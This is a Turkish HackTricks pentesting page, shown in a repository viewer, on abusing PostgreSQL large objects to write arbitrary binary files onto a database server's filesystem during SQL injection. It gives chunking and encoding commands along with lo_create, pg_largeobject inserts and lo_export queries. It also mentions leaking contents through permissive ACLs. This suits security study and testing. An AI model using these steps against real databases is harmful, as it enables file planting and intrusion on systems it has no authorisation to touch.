hacktricks/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

66 lines
3.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../../../banners/hacktricks-training.md}}
### PostgreSQL Büyük Nesneler
PostgreSQL, büyük veri türlerini depolamak için tasarlanmış **büyük nesneler** olarak bilinen bir yapı sunar; bu nesnelere `pg_largeobject` tablosu aracılığıyla erişilir. Bu yaklaşım, **verilerin dosya sistemine geri aktarımını** sağladığı için `COPY TO` işlevine göre avantajlıdır ve orijinal dosyanın tam bir kopyasının korunmasını garanti eder.
Bu tabloda **tam bir dosya depolamak** için, `pg_largeobject` tablosunda bir nesne oluşturulmalı (bir LOID ile tanımlanır) ve ardından bu nesneye her biri 2KB boyutunda veri parçaları eklenmelidir. Bu parçaların tam olarak 2KB boyutunda olması (son parçanın istisna olabileceği durumlar hariç) önemlidir, böylece dışa aktarma işlevi doğru bir şekilde çalışır.
**İkili verinizi** 2KB parçalarına **bölmek** için aşağıdaki komutlar çalıştırılabilir:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
Her dosyayı Base64 veya Hex formatına kodlamak için aşağıdaki komutlar kullanılabilir:
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**Önemli**: Bu süreci otomatikleştirirken, 2KB'lık açık metin baytları parçaları göndermeyi garanti edin. Hex kodlu dosyalar, boyutun iki katına çıkması nedeniyle her parça için 4KB veri gerektirirken, Base64 kodlu dosyalar `ceil(n / 3) * 4` formülünü takip eder.
Büyük nesnelerin içeriği, hata ayıklama amaçları için şu şekilde görüntülenebilir:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### `lo_creat` ve Base64 Kullanımı
İkili verileri depolamak için önce bir LOID oluşturulur:
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
Hassas kontrol gerektiren durumlarda, örneğin Blind SQL Injection istismarında, sabit bir LOID belirtmek için `lo_create` tercih edilir.
Veri parçaları daha sonra şu şekilde eklenebilir:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
```
Kullanımdan sonra büyük nesneyi dışa aktarmak ve potansiyel olarak silmek için:
```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### `lo_import` ve Hex Kullanımı
`lo_import` fonksiyonu, büyük bir nesne için bir LOID oluşturmak ve belirtmek için kullanılabilir:
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
Nesne oluşturulduktan sonra, her sayfa için veri eklenir ve her parçanın 2KB'yi aşmadığından emin olunur:
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
```
Süreci tamamlamak için, veriler dışa aktarılır ve büyük nesne silinir:
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
```
### Sınırlamalar
**Büyük nesnelerin ACL'leri** (Erişim Kontrol Listeleri) olabileceği belirtilmiştir, bu da kullanıcı tarafından oluşturulan nesnelere bile erişimi kısıtlayabilir. Ancak, izin verici ACL'lere sahip eski nesneler hala içerik sızdırma için erişilebilir olabilir.
{{#include ../../../banners/hacktricks-training.md}}